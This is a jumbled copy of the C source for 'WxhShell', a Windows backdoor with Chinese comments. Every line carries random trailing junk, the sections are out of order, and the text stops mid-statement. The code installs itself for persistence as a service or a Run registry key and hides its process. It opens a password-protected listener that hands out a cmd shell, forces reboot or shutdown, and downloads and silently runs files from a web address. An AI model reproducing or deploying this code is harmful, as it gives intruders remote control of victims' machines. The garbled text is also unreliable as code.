    ExitThread(0); 1KGf @u%-1  
    } >5Lp;  
    break; M% Rr=  
    } [7HBn  
  // 关机 +Ek1~i.  
  case 'd': { =)c-Xz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 53ZbtEwhwr  
    if(Boot(SHUTDOWN)) 9QB,%K_:4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qm_m8   
    else { vqQ)Pu?T  
    closesocket(wsh); ~|Ln9f-g  
    ExitThread(0); 4e eh+T  
    } dQ-shfTr]  
    break; ~/)]`w  
    } xyM|q9Gf@  
  // 获取shell g[t paQ  
  case 's': { %HtgZeY  
    CmdShell(wsh); iymN|KdpaZ  
    closesocket(wsh); ]Q0bL  
    ExitThread(0); AkW>*x  
    break; 1W\wIj.  
  } bHx@   
  // 退出 EirZ}fDJzB  
  case 'x': { W^xO/xu1 /  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]1>R8  
    CloseIt(wsh); [wm0a4fg  
    break; Jq(;BJ90R  
    } s$fX ;  
  // 离开 [)jNy_4  
  case 'q': { N6u>V~i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jVN06,3z  
    closesocket(wsh); (BxmV1  
    WSACleanup(); X])iQyN  
    exit(1); XR7v\rd  
    break; ;zo|. YD  
        } KN657 |f  
  } cUG^^3!  
  } W!O/t^H>  
:2==7u7v?  
  // 提示信息 8UgogNR\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uI?Z_  
} n-jPb064  
  } *w _o8!3-  
n~\; +U  
  return; Nr$78] o9  
} `|Di?4+6%  
^W:a7cMw  
// shell模块句柄 %!nN<%  
int CmdShell(SOCKET sock) h6O'"  
{ )~R[aXkvY  
STARTUPINFO si; c"lwFr9x7  
ZeroMemory(&si,sizeof(si)); d^6-P  R_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; < B]qqqP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "h[)5V{  
PROCESS_INFORMATION ProcessInfo; oNPvksdC;  
char cmdline[]="cmd"; KU(BY}/ ^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a$Ud"  
  return 0; yc3/5]E&  
} }cCIYt\RK  
YQHpW>z  
// 自身启动模式 c,;VnZ 9wC  
int StartFromService(void) +3-5\t`  
{ Wj|W B*B  
typedef struct \WC,iA%Y  
{ ]*k ~jY,  
  DWORD ExitStatus; j;y(to-e>D  
  DWORD PebBaseAddress; JmR2skoV,  
  DWORD AffinityMask; z Gg)R  
  DWORD BasePriority; gAztdA sLM  
  ULONG UniqueProcessId; SS`\_@ci  
  ULONG InheritedFromUniqueProcessId; H3R{+7  
}   PROCESS_BASIC_INFORMATION; `{ >/'o  
+kYp!00  
PROCNTQSIP NtQueryInformationProcess; 0vSPeZ  
2%R.~9HtA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L(Twclrb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L7(FD v,?  
965x _ %  
  HANDLE             hProcess; }2RbX,0l9  
  PROCESS_BASIC_INFORMATION pbi; Ty{ SZU J  
m`8{arz2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }ixCbuD  
  if(NULL == hInst ) return 0; ?K2EK'-q  
kBC$dW-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BI,]pf;GWv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aL&egM*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `G: 1  
IZ>l  
  if (!NtQueryInformationProcess) return 0; !^MwE]  
:'<;]~f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "wZvr}xk  
  if(!hProcess) return 0; s=jH1^  
%2I>-0]B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o@360#njF  
;g#nGs>  
  CloseHandle(hProcess); )_j(NX-C:  
hVB(*WA^D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k.54lNl  
if(hProcess==NULL) return 0; 7DK}c]js  
{#?|&n<  
HMODULE hMod; 2Uf/'  
char procName[255]; -U$;\1--  
unsigned long cbNeeded; I`IW^eZM  
yLCMu | +  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cj GN=|`u  
I*>q7Hsu  
  CloseHandle(hProcess); t D 8l0  
@IbZci)1  
if(strstr(procName,"services")) return 1; // 以服务启动 1@LUxU#Uu$  
> JA-G@3i  
  return 0; // 注册表启动 V+lS\E.  
} vdUKIP =|_  
Tzj v-9^V  
// 主模块 *rxYal4ad  
int StartWxhshell(LPSTR lpCmdLine) lcpiCZ  
{ K^"l.V#J  
  SOCKET wsl; ;q%z\gA  
BOOL val=TRUE; 32aI0CT  
  int port=0; C]JK'K<7-  
  struct sockaddr_in door; U&*%KPy`  
,:K{  
  if(wscfg.ws_autoins) Install(); |"Zf0G  
sxuP"4  
port=atoi(lpCmdLine); V,& OO  
uR2|>m  
if(port<=0) port=wscfg.ws_port; }zkFl{/u  
nLk`W"irM  
  WSADATA data; kQ&Q_FSO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vA6onYjA  
=Sr<d|\O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YE*|KL^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1K|F;p  
  door.sin_family = AF_INET; ]3 GO_tL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i-wWbZ-  
  door.sin_port = htons(port); *a8<cf  
Qof%j@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tG9C(D`G  
closesocket(wsl); 1VG]|6f  
return 1; as/PM"  
} I} Q+{/?/  
47{5{/B-  
  if(listen(wsl,2) == INVALID_SOCKET) { 2(\PsN w!  
closesocket(wsl); Ax=)J{4v  
return 1; G9j f]Ye;  
} (5:pHX`P  
  Wxhshell(wsl); {=&( { cS  
  WSACleanup(); eYkg4O'  
?+Vi !eS  
return 0; "u$XEA  
?0sTx6x@  
} tfm3IX  
xbcmvJrG  
// 以NT服务方式启动 Vep 41\g^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vQ2{ +5!|  
{ T?Z^2.Pvc  
DWORD   status = 0; Ie _{P&J  
  DWORD   specificError = 0xfffffff; SE i\H$ !  
8sI$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'T qF}a7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o F_{oV '  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .tHc*Eh  
  serviceStatus.dwWin32ExitCode     = 0; 5efN5Kt  
  serviceStatus.dwServiceSpecificExitCode = 0; ;iJxJX\+  
  serviceStatus.dwCheckPoint       = 0; O/(vimx.#F  
  serviceStatus.dwWaitHint       = 0; #< :`:@2  
"szJ[ _B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e$Yvy>I'tS  
  if (hServiceStatusHandle==0) return; /$\8?<Pc".  
@ %q>Jd  
status = GetLastError(); ku}`PS0UGd  
  if (status!=NO_ERROR) R/E6n &R  
{ glROT@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _"t>72 `  
    serviceStatus.dwCheckPoint       = 0; "8U=0a  
    serviceStatus.dwWaitHint       = 0; pAA)?/&oKV  
    serviceStatus.dwWin32ExitCode     = status; {=gJGP/}_  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;GOu'34j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {;u+?uY  
    return; ^Ojg}'.Ygv  
  } /e|qyWs  
=h ~n5wQG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jpW_q+^?  
  serviceStatus.dwCheckPoint       = 0; PVljb=8F  
  serviceStatus.dwWaitHint       = 0; L=HnVgBs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q*a~9.i @  
} }o[<1+W(.  
O kT@ _U  
// 处理NT服务事件,比如:启动、停止 DYgB_Iak  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W|n$H`;R  
{ #QSSpsF@  
switch(fdwControl) ouFKqRs;  
{ sD{Wc%5  
case SERVICE_CONTROL_STOP: LH`2Y,E  
  serviceStatus.dwWin32ExitCode = 0; KPjAk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r[GH#vF;7  
  serviceStatus.dwCheckPoint   = 0; 4"!kCUB  
  serviceStatus.dwWaitHint     = 0; yxf #@Je"  
  { anfnqa8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [>3dhj[;  
  } }?+tX<j  
  return; Q%J,: J  
case SERVICE_CONTROL_PAUSE: :!?Fq/!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BTG_c_ ?]e  
  break; 5gC> j(  
case SERVICE_CONTROL_CONTINUE: Z d@B6R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KQw>6)  
  break; xpwy%uo  
case SERVICE_CONTROL_INTERROGATE: g4+Hq *  
  break; aX |(%1r  
}; |m@>AbR5dk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zzW$F)X  
} ~.0'v [N  
[*0M$4  
// 标准应用程序主函数 H/;AlN|!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Wyeb1  
{ fM*?i"j;Y  
@>J(1{m=Gy  
// 获取操作系统版本 ]\L+]+u~  
OsIsNt=GetOsVer(); -:J<JX)o  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  ?<8c  
DUF$-'A  
  // 从命令行安装 lB_X mI1t  
  if(strpbrk(lpCmdLine,"iI")) Install(); I Xm[c@5l  
]f U&?z#  
  // 下载执行文件 ue'dI   
if(wscfg.ws_downexe) { *W>, 98  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &%qDi_UD  
  WinExec(wscfg.ws_filenam,SW_HIDE); |k%1mE(+=s  
} EIyFGCw|U  
S{f,EBE  
if(!OsIsNt) { V d]7v  
// 如果时win9x,隐藏进程并且设置为注册表启动 d&f!\n_~  
HideProc(); V7p hD3Y  
StartWxhshell(lpCmdLine); 7y)Ar 8!D  
} qfxEo76'  
else t imY0fx #  
  if(StartFromService()) &rPAW V'v  
  // 以服务方式启动 .c0u##/0  
  StartServiceCtrlDispatcher(DispatchTable); d"Wuu1tEY  
else 8c_X`0jy  
  // 普通方式启动 i1m>|[@k  
  StartWxhshell(lpCmdLine); .]JIo&>5  
S $o1Q  
return 0; 9&`";dg  
} 2 >j0,2  
BGwD{6`U  
~UNha/nt  
[?O4l`  
=========================================== 5 ;XYF0  
6-)WXJ@V  
(c^ {T)  
6akI5\b  
b09xf"D  
',t*:GBZCf  
" d,Oagx  
K9p<PLy+  
#include <stdio.h> ]j6K3  
#include <string.h> }HmkTk  
#include <windows.h> CmBgay  
#include <winsock2.h> O"\_%=X9  
#include <winsvc.h> Hs:zfvD  
#include <urlmon.h> : xggo  
ju "?b2f  
#pragma comment (lib, "Ws2_32.lib") rBi<Yy$z  
#pragma comment (lib, "urlmon.lib") _;Xlw{FN^  
QJrXn6`  
#define MAX_USER   100 // 最大客户端连接数 [6JDS;MIN  
#define BUF_SOCK   200 // sock buffer kD%MFT4  
#define KEY_BUFF   255 // 输入 buffer #\QW <I#/  
\=im{(0h  
#define REBOOT     0   // 重启 r^<,f[yH  
#define SHUTDOWN   1   // 关机 wCR! bZ w  
?< teHFj  
#define DEF_PORT   5000 // 监听端口 |)Dm.)/0)  
/Wjc\n$'  
#define REG_LEN     16   // 注册表键长度 JehanF[  
#define SVC_LEN     80   // NT服务名长度 b$fmU"%&|  
*ls6k`ymL  
// 从dll定义API CsycR@[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X{, mj"(w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X1a~l|$h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C,W_0= !e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 26nwUNak  
gT$WG$^i  
// wxhshell配置信息 rg k1.0U0  
struct WSCFG { e@0|fB%2  
  int ws_port;         // 监听端口 L/-SWid)  
  char ws_passstr[REG_LEN]; // 口令 i7r)9^y  
  int ws_autoins;       // 安装标记, 1=yes 0=no RMT9tXe*5  
  char ws_regname[REG_LEN]; // 注册表键名 0=6mb]VUi=  
  char ws_svcname[REG_LEN]; // 服务名 {nUmlP=mS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Xn%7{%;h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |UWIV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2\k!DF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wzwv>@}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (_@5V_U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #t(/wa4  
Cy6!?Mik  
}; fg#e*7Odn  
 ArAe=m!u  
// default Wxhshell configuration JkT!X  
struct WSCFG wscfg={DEF_PORT, $fD%18  
    "xuhuanlingzhe", ro<w8V9.a  
    1, !h7:rv/  
    "Wxhshell", T5ky:{Y(  
    "Wxhshell", a]V8F&)g#  
            "WxhShell Service", XdV>6<gf{  
    "Wrsky Windows CmdShell Service", *v K~t|z  
    "Please Input Your Password: ", kJf0..J[#<  
  1, /ZabY  
  "http://www.wrsky.com/wxhshell.exe", L v/}&'\(  
  "Wxhshell.exe" /N*<Fq7w~  
    }; !w%c= V]tV  
YQ d($  
// 消息定义模块 {-me;ayk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XBCHJj]k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M *3G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5!Y\STn  
char *msg_ws_ext="\n\rExit."; ;0oL*d[1Z  
char *msg_ws_end="\n\rQuit."; *#}=>, v  
char *msg_ws_boot="\n\rReboot..."; ,z#D[5  
char *msg_ws_poff="\n\rShutdown..."; O*?^a7Z)4  
char *msg_ws_down="\n\rSave to "; ZZ^A&%E(a  
M\CzV$\y  
char *msg_ws_err="\n\rErr!"; Z'k?lkB2i  
char *msg_ws_ok="\n\rOK!"; !BkE-9v?w  
sB *dv06b0  
char ExeFile[MAX_PATH]; v*GS>S  
int nUser = 0; N-F&=u}  
HANDLE handles[MAX_USER]; +<xQF  
int OsIsNt; i{$P.i/&  
jJ<&!=  
SERVICE_STATUS       serviceStatus; CStNCBZ|\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v mkiw1  
DU"Gz!X]Jd  
// 函数声明 VM<0_R24z  
int Install(void); Gd\/n*j  
int Uninstall(void); a9NuYYr,h  
int DownloadFile(char *sURL, SOCKET wsh); EmUn&p%hI  
int Boot(int flag); A#I&&qZ  
void HideProc(void); ~gZ1*8 s`  
int GetOsVer(void); ~s'}_5;VY  
int Wxhshell(SOCKET wsl); =d5;F`m  
void TalkWithClient(void *cs); !+@70|gFF  
int CmdShell(SOCKET sock); |-{ Hy(9  
int StartFromService(void); @(6i 1Iwu9  
int StartWxhshell(LPSTR lpCmdLine); ceks~[rP  
Wkk(6gS,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yc7b%T*Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L6nsVL&  
{RI^zNgs[  
// 数据结构和表定义 [>p!*%m  
SERVICE_TABLE_ENTRY DispatchTable[] = S m=ln)G=  
{ >ZPu$=[W  
{wscfg.ws_svcname, NTServiceMain}, LHZsmUM(dg  
{NULL, NULL} s1Wn.OGR4  
}; KV;q}EyG  
T^7}Qs9  
// 自我安装 Px?"5g#+  
int Install(void) &I'J4gk[  
{ Ei]Sks V>*  
  char svExeFile[MAX_PATH]; I'{Ctc  
  HKEY key; Ex_dqko  
  strcpy(svExeFile,ExeFile); X~o;jJC  
v4rO 0y=C  
// 如果是win9x系统,修改注册表设为自启动 ='kCY}dkO  
if(!OsIsNt) { j&S.k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8|i<4>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IpzU=+h  
  RegCloseKey(key); e&ZTRgYdi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pQ7elv]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0VJHE~Bgi  
  RegCloseKey(key); {GT5   
  return 0; 6A>bm{`c:  
    } }8"i~>>a  
  } |)jR|8MAE  
} _f>)G3p  
else { @0H0!9'  
^e]O >CJ  
// 如果是NT以上系统,安装为系统服务 vzSjfv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &y73^"%  
if (schSCManager!=0) tJtp1$h  
{ _N|A I"sj.  
  SC_HANDLE schService = CreateService a ge8I$*`@  
  ( 6yYd~|T.Fl  
  schSCManager, D2 o|.e<r  
  wscfg.ws_svcname, dKDCJ t]t  
  wscfg.ws_svcdisp, zU0JwZi  
  SERVICE_ALL_ACCESS, (C`nBiL<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4V]xVma  
  SERVICE_AUTO_START, 2|RxowXZ"  
  SERVICE_ERROR_NORMAL, T51oNO%^  
  svExeFile, jL 3 *m  
  NULL, M,{;xf  
  NULL, 6b` Jq>v  
  NULL, }7fzEo`g  
  NULL, fyx Q{J  
  NULL ^pfM/LQ@  
  ); Ut1s~b1  
  if (schService!=0) jt3W.^6HO  
  { ~<Wa$~oY  
  CloseServiceHandle(schService); hOIg 7=v  
  CloseServiceHandle(schSCManager); v33[Rk'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /@&uaw  
  strcat(svExeFile,wscfg.ws_svcname); 8) `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BTA2['  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f e^s`dsG  
  RegCloseKey(key); 5(Q-||J  
  return 0; Xpkj44cd@  
    } n|QA\,=  
  } > -fXn  
  CloseServiceHandle(schSCManager); %$_?%X0=t  
} ^b.fci{1m  
} r|3u]rt  
'P&r^V\~(/  
return 1; W^H[rX}=  
} `I|Y7GoUO  
l,b_' m@  
// 自我卸载 2v*X^2+  
int Uninstall(void) dW^#}kN7V  
{ N=8CVI  
  HKEY key; IeIv k55  
dsK ^-e6:5  
if(!OsIsNt) { yN#]Q}4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1_n5:  
  RegDeleteValue(key,wscfg.ws_regname); @$!"}xDR'  
  RegCloseKey(key); ]zvOM^l~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p1ER<_fp  
  RegDeleteValue(key,wscfg.ws_regname); yW_goS0  
  RegCloseKey(key); %Si3LQf  
  return 0; SQw"mO  
  } =G rg  
} 6HVGqx  
} "1ZVuI  
else { kN vNV(4  
rN {5^+w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DEzL]1;P  
if (schSCManager!=0)  ck`$ `  
{ lWU? R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %U97{y  
  if (schService!=0) 7^h*rL9  
  { x C>>K6Nb  
  if(DeleteService(schService)!=0) { ??P> HVx  
  CloseServiceHandle(schService); 8O^z{Yh7  
  CloseServiceHandle(schSCManager); 6rAenK-%  
  return 0; .lppT)P  
  } c5HW.3"  
  CloseServiceHandle(schService); 'KNUPi|  
  } tpKQ$) ed  
  CloseServiceHandle(schSCManager); b=Q%Jxz?  
} E>}3MfL  
} :Us NiR=l  
\,b_8^  
return 1; *wz62p  
} Z9PG7h  
_57 68G`P  
// 从指定url下载文件 9KZLlEk5O  
int DownloadFile(char *sURL, SOCKET wsh) hKp-"  
{ [UaM}-eR  
  HRESULT hr; p \,PY  
char seps[]= "/"; cz*Z/5XH  
char *token; [ Q20c<,  
char *file; :U#4H;kk~j  
char myURL[MAX_PATH]; p4wXsOQ}  
char myFILE[MAX_PATH]; k%ckV`y  
lV<j?I~?Q  
strcpy(myURL,sURL); kR(hUc1O  
  token=strtok(myURL,seps); Ha/-v?E  
  while(token!=NULL) >PiEu->P,  
  { Y-:{a1/RKo  
    file=token; (K->5rSU  
  token=strtok(NULL,seps); rc]`PV  
  } @{UtS2L  
0N*~"j;r#M  
GetCurrentDirectory(MAX_PATH,myFILE); d+Jj4OnP  
strcat(myFILE, "\\"); ?e!mv}B_  
strcat(myFILE, file); \P0>TWE  
  send(wsh,myFILE,strlen(myFILE),0); rQPV@J]:  
send(wsh,"...",3,0); C)`y<O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c4n]#((%a  
  if(hr==S_OK) go$zi5{h#  
return 0; [CJr8Qn  
else &8uq5uKg  
return 1; g)#neEA J  
V,)bw  
} F2RU7o'f.  
8!{F6DG  
// 系统电源模块 P mgTTI  
int Boot(int flag) $&iw(BIq  
{ BliL1"".  
  HANDLE hToken; 7ClN-/4  
  TOKEN_PRIVILEGES tkp; %$L!N-U6  
}_L,Xg:I  
  if(OsIsNt) { 7R`:^}'>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z<c@<M=Q*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Dy_Za.N2  
    tkp.PrivilegeCount = 1; t LZ4<wc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + \AiUY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V.*0k~  
if(flag==REBOOT) { |+Fko8-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UfnjhHu  
  return 0; %;|^*?!J0  
} yY$:zc"J  
else { WM_wkvY l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `w J^   
  return 0; as?~N/}  
} t  Tky  
  } !!4` #Z0+#  
  else { z\fmwI  
if(flag==REBOOT) { b+.P4+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5[_|+  
  return 0; :NJ(QkTZv  
} ,dM}B-  
else { t_PAXj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G92Ya^`  
  return 0; nmn 8Y V1  
} {>E`Zf:  
} Rs<li\GS  
Bu\:+3)  
return 1; K(+ ~#$|-~  
} a.r+>44M  
'7UW\KEB[}  
// win9x进程隐藏模块 9b8ZOk'9_  
void HideProc(void) ;-:Nw6 E  
{ #&A)%Qbg  
#3l&N4/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DRC2U%[  
  if ( hKernel != NULL ) M~Tx 4_t  
  { _<`j?$P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2`XG"[@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -^i[   
    FreeLibrary(hKernel); zoUM<6q  
  } s%K 9;(RWI  
mT@8(  
return; dy^Zlu` f  
} M PhG:^g  
$n30[P@p;  
// 获取操作系统版本 A.@S>H'P  
int GetOsVer(void) |#p`mc%f~\  
{ 8cV3VapF  
  OSVERSIONINFO winfo; &&/2oP+z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .</`#   
  GetVersionEx(&winfo); h JVy-]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  \^$g%a  
  return 1; uTgvMkO  
  else rq;Xcc  
  return 0; r~&[Gaw  
} .d) X.cO  
EZ6\pyNB0#  
// 客户端句柄模块 5 *8 V4ca  
int Wxhshell(SOCKET wsl) hmfO\gc}y  
{ Rt &Oz!TQ  
  SOCKET wsh; zJhG`iWFw  
  struct sockaddr_in client; j06q3N"  
  DWORD myID; Qy>n]->%  
IQ$cLr-S  
  while(nUser<MAX_USER) A2fc_A/a  
{ lr>P/W\  
  int nSize=sizeof(client); '&XL|_Iq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C,2k W`[V  
  if(wsh==INVALID_SOCKET) return 1; rHzwSR@}1  
~]CQ DR:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mBQA~@ }  
if(handles[nUser]==0) l[Hgh,  
  closesocket(wsh); UcZ20inj0  
else 2U;6sn*e  
  nUser++; LHQ$0LVt>T  
  } N- !>\n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U3R;'80 f  
TuF;>{~}  
  return 0; g4Y1*`}2f  
} p\A!"KC  
WOw( -  
// 关闭 socket (gdi 2  
void CloseIt(SOCKET wsh) _>b=f  
{ (KHO'QNMt^  
closesocket(wsh); _#9F@SCA  
nUser--; uq.!{3)8  
ExitThread(0); w"A.*8Iu  
} MBeubS  
,>YW7+kY  
// 客户端请求句柄 'AU:[eyUV  
void TalkWithClient(void *cs) Z1 7=g@  
{ {WYJQKs8  
DW@|H  
  SOCKET wsh=(SOCKET)cs; jN[P$} #b`  
  char pwd[SVC_LEN]; F'~\!dNL  
  char cmd[KEY_BUFF]; yYdow.b!  
char chr[1]; Xr B)[kQ  
int i,j; Gr),o6}p  
e-Pn,j  
  while (nUser < MAX_USER) { xF/u('A  
\LN!k-c  
if(wscfg.ws_passstr) { (uW$ch@2K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >/BMA;`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TJ_<21a  
  //ZeroMemory(pwd,KEY_BUFF); sz"N,-<Ig  
      i=0; Whd\Ub8(  
  while(i<SVC_LEN) { Lrrc&;  
43'!<[?x  
  // 设置超时 o)V@|i0Js  
  fd_set FdRead; AG Ws>  
  struct timeval TimeOut; QWncKE,O$  
  FD_ZERO(&FdRead); NFs Cq_f  
  FD_SET(wsh,&FdRead); SsY :gp_  
  TimeOut.tv_sec=8; D&dh>Pe1;  
  TimeOut.tv_usec=0; uht>@ WSg|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  @mD$Z09~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iAl.(j  
VUneCt%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I2&R+~ktR  
  pwd=chr[0]; ]B2%\}c  
  if(chr[0]==0xd || chr[0]==0xa) { PwC9@c%c  
  pwd=0; 59@PY!c>  
  break; _{ Np _ (g  
  } N 4!18{/2  
  i++; 4#Bzq3,|  
    } >d9b"T  
b_&KL_vo{|  
  // 如果是非法用户,关闭 socket S^q%+Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j=up7395  
} ;"9$LHH*  
EK%J%NY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JeXA*U#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8 U<$u,WS  
sJ>JHv  
while(1) { k^{}p8;3  
N f^6t1se  
  ZeroMemory(cmd,KEY_BUFF); h`@z61UI  
PiVp(; rtQ  
      // 自动支持客户端 telnet标准   = j!nt8]8  
  j=0; !q[r_wL  
  while(j<KEY_BUFF) { \hO}3;*&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BGrV,h^  
  cmd[j]=chr[0]; n|'}W+  
  if(chr[0]==0xa || chr[0]==0xd) { ?Z2_y-  
  cmd[j]=0; aJzyEb  
  break; K&{ruHoKB  
  } #ULzh&yO  
  j++; ~5;2ni8n  
    } nkO4~p  
Ge=|RAw3  
  // 下载文件 c?%}J\<n  
  if(strstr(cmd,"http://")) {  5?34<B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =KW~k7TaN  
  if(DownloadFile(cmd,wsh)) hbSXa'  
